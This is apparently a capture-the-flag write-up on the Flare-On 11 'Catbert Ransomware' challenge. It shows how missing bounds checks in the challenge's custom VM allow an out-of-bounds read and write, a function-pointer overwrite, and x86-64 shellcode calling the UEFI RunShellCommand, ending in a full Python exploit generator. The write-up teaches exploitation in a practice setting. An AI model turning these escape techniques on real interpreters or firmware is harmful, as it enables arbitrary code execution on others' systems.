(Solving and) Pwning Flare-On level 10
"Catbert Ransomware" is the tenth and final challenge of Flare-On 11.
I've discussed how to solve this challenge in Part 1, so I'll assume you know how the C4TB VM works. In this post, I'll discuss a vulnerability in the implementation of the C4TB VM, and how it can be exploited to execute arbitrary commands.
Overview
As we have discussed in Part 1, each .c4tb
file contains the encrypted data, as well as a program that validates the encryption key. This program executes in the C4TB VM, which supports a fixed set of instructions. Most of these instructions do not interact with the environment outside the VM, except for the print
instruction, which outputs a character to the terminal.
Our goal will be to write a C4TB program that can escape the VM and execute an arbitrary shell command:
VM implementation
The memory layout of the C4TB VM can be represented with the following struct:
struct C4TB{
__int64 instruction_pointer;
__int64 stack[256]; // Max stack size is 256 elements
__int64 *stack_pointer; // Points to some element in the stack
__int64 memory[MEM_SIZE]; // The memory region is quite large
}
This memory layout will be important in understanding the vulnerability.
Vulnerability
The C4TB VM is clearly not written with security in mind. For example, no bounds checking is present for the load
and store
instructions:
case 5u: // load
vm.stack_pointer = --stack;
v3 = vm.memory[*stack];
*stack = v3;
stack = vm.stack_pointer + 1;
vm.stack_pointer = stack;
break;
case 6u: // store
vm.stack_pointer = stack - 1;
v4 = *(stack - 1);
vm.stack_pointer = stack - 2;
vm.memory[*(stack - 2)] = v4;
break;
If we attempt to load memory at index -1
, we will instead access the stack_pointer
, thus leaking an address from the UEFI program that implements the virtual machine (in this case the Shell
module). Similarly, if we write to a memory offset that is negative, or beyond the bounds of the memory array, we can modify the memory of the Shell
module.
EDK2 protections
While ASLR does not appear to be present in this build of EDK2, the base address of the Shell
module may still vary, depending on which modules have been loaded before it. This will in turn be dependent on the QEMU configuration options. So, we will only assume that offsets within the Shell
module are constant, and treat all other addresses as randomized.
Fortunately, all memory is RWX (there is no NX protection), so we can jump to shellcode that we have loaded in memory.
Exploitation
First, we need to find a way to use our arbitrary write vulnerability to overwrite a function pointer that can be triggered in a controlled manner.
gST->ConOut->SetAttribute
, called in the print
handler, looks like the perfect candidate!
case 0x26u:
vm.stack_pointer = stack - 1;
v11 = *(stack - 1);
(gST->ConOut->SetAttribute)(gST->ConOut, 79LL);
write_message(0xFFFFFFFFLL, 0xFFFFFFFFLL, L"%c", v11);
(gST->ConOut->SetAttribute)(gST->ConOut, 71LL);
Our exploit will have 4 main parts:
- Set
gST->ConOut->SetAttribute
to the address of our payload - Write our shellcode payload into memory at the chosen address
- Print something to trigger the shellcode
- Restore
gST->ConOut->SetAttribute
to its original value and jump back to normal program execution
Part 1
First, let's leak the stack pointer and store it in memory[0x10]
for later use:
push 0x10
push 0
push 1
sub
load # Reads memory[-1]
store
We'll then calculate the address of the stack
and memory
variables:
push 0x11
push 0x10
load
push 0x8
sub
store # Store stack = stack_ptr - 8 in memory[0x11]
push 0x12
push 0x11
load
push 0x808
add
store # Memory base stored in memory[0x12]
The gST
variable is located at an offset of -0xa70
bytes from memory
. This translates to an index of -0x14e
:
push 0x13
push 0
push 0x14e
sub
load
store # memory[0x13] = gST
From now on, we will have to subtract the target address from &memory
, instead of using a constant offset, as &gST->ConOut
is likely not located within the Shell
module:
push 0x14
push 0x13
load
push 0x40
add # ConOut is located at offset 0x40
push 0x12
load
sub
push 3
shr
load
store # memory[0x14] = gST->ConOut
We'll do the same for gST->ConOut->SetAttribute
:
push 0x15
push 0x14
load
push 0x28
add
push 0x12
load
sub
push 3
shr # Here we have the memory index of gST->ConOut->SetAttribute
store # Store it in memory[0x15]
push 0x16
push 0x15
load # Load the memory index of gST->ConOut->SetAttribute
load # Load the value of gST->ConOut->SetAttribute
store # memory[0x16] = gST->ConOut->SetAttribute
We'll store our shellcode at memory[0x20]
onwards. Let's set gST->ConOut->SetAttribute
to &memory[0x20]
:
push 0x15
load
push 0x12
load
push 0x100 # 0x20 * 8
add
store # memory[memory[0x15]] = &memory[0x20]
Part 2
Here's a couple of Python helper functions that will help us generate the instructions required to load shellcode into &memory[0x20]
:
def do_push64(val):
insns = "push 0\n"
for i in range(4):
insns += f"push {val & 0xffff}\n"
insns += f"push {i*16}\nshl\n"
insns += "add\n"
val >>= 16
return insns
def do_load_shellcode(b):
insns = ""
for i in range(0, len(b), 8):
chunk = b[i:i+8]
if len(chunk) != 8:
chunk += b"\0" * (8-len(chunk))
insns += f"push {0x20+(i//8)}\n"
insns += do_push64(int.from_bytes(chunk, 'little'))+"\n"
insns += "store\n"
return insns
Shellcode
Unlike usual "userland" pwn challenges, we don't have an operating system that can handle syscalls, so regular shellcode to pop a shell will not work.
However, upon searching the EDK2 source code, I found the RunShellCommand
function, which is also located in the Shell
module. This function is called to parse and execute commands that the user enters on the UEFI terminal.
Since we can execute arbitrary shellcode, we can simply call this function with the command we want to execute (in this case the user input in the form of the encryption key):
mov rsi, rcx # Save gST->ConOut
mov r13, qword ptr [rsi + 0x28] # gST->ConOut->SetAttribute (shellcode address)
sub r13, 0x100 # r13 is now &memory
mov rax, r13
sub rax, 0xe4e08 # rax now points to RunShellCommand
lea rcx, [r13 - 0x970] # Load &input_key
mov rcx, qword ptr [rcx] # Points to input_key (wchar_t)
xor rdx, rdx
call rax # call RunShellCommand(input, 0)
However, this doesn't work, as RunShellCommand
calls gST->ConOut->SetAttribute
internally when output is printed to the terminal.
This will result in an infinite loop, as gST->ConOut->SetAttribute
actually points to our shellcode.
Instead, we will first need to restore gST->ConOut->SetAttribute
, call RunShellCommand
, then return to the check_key
function:
mov rsi, rcx # Save gST->ConOut
mov r13, qword ptr [rsi + 0x28] # gST->ConOut->SetAttribute (shellcode address)
sub r13, 0x100 # r13 is now &memory
mov rax, qword ptr [r13 + 0xb0] # Load the original SetAttribute address
mov qword ptr [rsi + 0x28], rax # Restore SetAttribute so stuff won't crash
mov rax, r13
sub rax, 0xe4e08 # rax now points to RunShellCommand
lea rcx, [r13 - 0x970] # Load &input_key
mov rcx, qword ptr [rcx] # Points to input_key (wchar_t)
xor rdx, rdx
call rax # call RunShellCommand(input, 0)
pop rax # Delete return address from stack (we don't need that)
lea rax, [r13-0xb75d5] # Jump back to somewhere safe in check_key
jmp rax
Full exploit
C4TB assembler not included (I might make another post about this next time).
The compiled exploit can be found here: exploit.c4tb
.
Note that the command to be executed has to be exactly 16 characters long (you can pad shorter commands with spaces).
from pwn import asm, context
context.arch = "amd64"
# Usual preamble
insns = """push 0
push 48042
store
push 1
push 56780
store
push 2
push 65518
store
push 3
push 44510
store
push 4
push 61374
store
push 5
push 65226
store
push 6
push 48826
store
push 7
push 52651
store
push 8
push 3
load
push 0x30
shl
push 2
load
push 0x20
shl
or
push 0x1
load
push 0x10
shl
or
push 0
load
or
store
push 9
push 7
load
push 0x30
shl
push 6
load
push 0x20
shl
or
push 0x5
load
push 0x10
shl
or
push 4
load
or
store
"""
def store(val, idx):
return f"push {idx}\npush {val}\nstore"
def load(idx):
return f"push {idx}\nload"
def do_print(val):
if type(val) == str:
val = ord(val)
return f"push {val}\nprint"
def do_println(s):
insns = ""
s += "\r\n"
for c in s:
insns += do_print(c) + "\n"
return insns
def do_print64(idx):
insns = ""
insns += do_print("0")+"\n"
insns += do_print("x")+"\n"
for i in range(16):
insns += load(idx)+"\n"
insns += f"push {60 - i*4}\nshr\n"
insns += "push 15\n"
insns += "and\n"
insns += "dup\n"
insns += "push 6\nadd\n"
insns += "push 4\nshr\n"
insns += "push 7\nmul\n"
insns += "push 48\nadd\nadd\n"
insns += "print\n"
insns += do_println("")+"\n"
return insns
def do_push64(val):
insns = "push 0\n"
for i in range(4):
insns += f"push {val & 0xffff}\n"
insns += f"push {i*16}\nshl\n"
insns += "add\n"
val >>= 16
return insns
def do_load_shellcode(b):
insns = ""
for i in range(0, len(b), 8):
chunk = b[i:i+8]
if len(chunk) != 8:
chunk += b"\0" * (8-len(chunk))
insns += f"push {0x20+(i//8)}\n"
insns += do_push64(int.from_bytes(chunk, 'little'))+"\n"
insns += "store\n"
return insns
shellcode = asm(
"""
mov rsi, rcx # Save gST->ConOut
mov r13, qword ptr [rsi + 0x28] # We will add 0x28 to get the address of SetAttribute
sub r13, 0x100 # r13 is now &memory
mov rax, qword ptr [r13 + 0xb0] # Load the original SetAttribute address
mov qword ptr [rsi + 0x28], rax # Restore SetAttribute so stuff won''t crash
mov rax, r13
sub rax, 0xe4e08 # rax now points to RunShellCommand
lea rcx, [r13 - 0x970]
mov rcx, qword ptr [rcx] # Points to input_key (wchar_t)
xor rdx, rdx
call rax # call RunShellCommand(input, 0)
pop rax # Delete return address from stack (we don''t need that)
lea rax, [r13-0xb75d5] # Jump back to somewhere safe in check_key
jmp rax
""")
insns += f"""
push 0x10
push 0
push 1
sub
load # Out of bounds access reads the stack pointer
store # store in memory[0x10]
{do_println('Leaked address:')}
{do_print64(0x10)}
push 0x11
{load(0x10)}
push 0x8
sub
store # Stack base stored in memory[0x11]
{do_println('Stack base:')}
{do_print64(0x11)}
push 0x12
{load(0x11)}
push 0x808
add
store # Memory base stored in memory[0x12]
{do_println('Memory base:')}
{do_print64(0x12)}
push 0x13
push 0
push 0x14e
sub
load # gST
store
{do_println('gST address:')}
{do_print64(0x13)}
push 0x14
{load(0x13)}
push 0x40
add # gST->ConOut
{load(0x12)}
sub
push 3
shr
load
store
{do_println('gST->ConOut address:')}
{do_print64(0x14)}
push 0x15
{load(0x14)}
push 0x28
add
{load(0x12)}
sub
push 3
shr # Here we have the memory index of gST->ConOut->SetAttribute
store # Store it in memory[0x15]
push 0x16
{load(0x15)}
load
store # Store the value of gST->ConOut->SetAttribute in memory[0x16]
{load(0x15)}
{load(0x12)} # We'll modify it to the address of memory[0x20]
push 0x100
add
store
{do_load_shellcode(shellcode)}
{do_print('X')} # This executes the shellcode
"""